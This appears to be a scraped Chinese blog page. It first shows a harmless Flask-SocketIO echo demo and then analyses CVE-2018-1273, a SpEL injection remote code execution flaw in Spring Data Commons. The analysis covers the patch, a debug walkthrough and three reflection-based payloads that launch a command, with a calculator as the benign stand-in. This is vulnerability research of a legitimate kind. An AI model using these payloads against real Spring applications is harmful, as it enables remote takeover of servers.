    32
    33
    34
    35
    <!DOCTYPE HTML>
    <html>
    <head>
    <title>Flask-SocketIO Test</title>
    <script type="text/javascript" src="//cdn.bootcss.com/jquery/3.1.1/jquery.min.js"></script>
    <script type="text/javascript" src="//cdn.bootcss.com/socket.io/1.5.1/socket.io.min.js"></script>
    <script type="text/javascript" charset="utf-8">
    $(document).ready(function() {
    var socket = io.connect();

    socket.on('connect', function() {
    socket.emit('connect_event', {data: 'connected!'});
    })

    socket.on('server_response', function(msg) {
    $('#log').append('<br>' + $('<div/>').text('Received #' + ': ' + msg.data).html());
    });

    $('form#emit').submit(function(event) {
    socket.emit('client_event', {data: $('#emit_data').val()});
    return false;
    });
    });

    </script>
    </head>
    <body>
    <h2>WebSokect</h2>
    <form id="emit" method="POST" action='#'>
    <input type="text" name="emit_data" id="emit_data" placeholder="Message">
    <input type="submit" value="Echo">
    </form>
    <div id='log'></div>
    </body>
    </html>
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    #!/usr/bin/env python
    from flask import Flask, render_template, session, request
    from flask_socketio import SocketIO, emit

    app = Flask(__name__)
    app.config.from_pyfile('config.py')

    socketio = SocketIO(app)


    @app.route('/')
    def index():
    return render_template('websocket.html')


    @socketio.on('client_event')
    def client_msg(msg):
    emit('server_response', {'data': msg['data']})


    @socketio.on('connect_event')
    def connected_msg(msg):
    emit('server_response', {'data': msg['data']})


    if __name__ == '__main__':
    socketio.run(app, host='0.0.0.0')

    参考

    源码

  • CVE-2018-1273 RCE with Spring Data Commons

    cve-2018-1273

    补丁分析

    https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653


    这里和CVE-2018-1270的修复方案类似,StandardEvaluationContext替换为SimpleEvaluationContext,又看到Expression expression = PARSER.parseExpression(propertyName);,基本可以确定是SpEL注入了

    代码分析(下游)

    从git上下载源码https://github.com/spring-projects/spring-data-examples

    根据patch的提示设置断点看一下数据流向

    传入的值是username

    看到setValue,确定是SpEL注入
    继续往下走,会发现username、password、repeatedPassword三个字段都会经过这几步

    既然这样,尝试修改字段名称来执行命令[T(java.lang.Runtime).getRuntime().exec('open -a calculator.app'),测试下,确实可以把完整的命令传进去

    []是嵌套属性的写法,在[]中间可以写入表达式

    继续走到setValue处,expression存储的值就是传进来的完整的字段

    但是发现命令并没有执行,原因如下

    POC利用

    水平太菜,参考了一下网上的payload,利用java的反射机制绕过

    [#this.getClass().forName("java.lang.Runtime").getRuntime().exec("open -a calculator.app")]

    [#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('open -a calculator.app')")]

    [(#root.getClass().forName("java.lang.ProcessBuilder").getConstructor('foo'.split('').getClass()).newInstance('openxx-axxcalculator.app'.split('xx'))).start()]

    参考:
    http://blog.nsfocus.net/cve-2018-1273-analysis/
    https://pivotal.io/security/cve-2018-1273
    https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653
    https://xz.aliyun.com/t/2269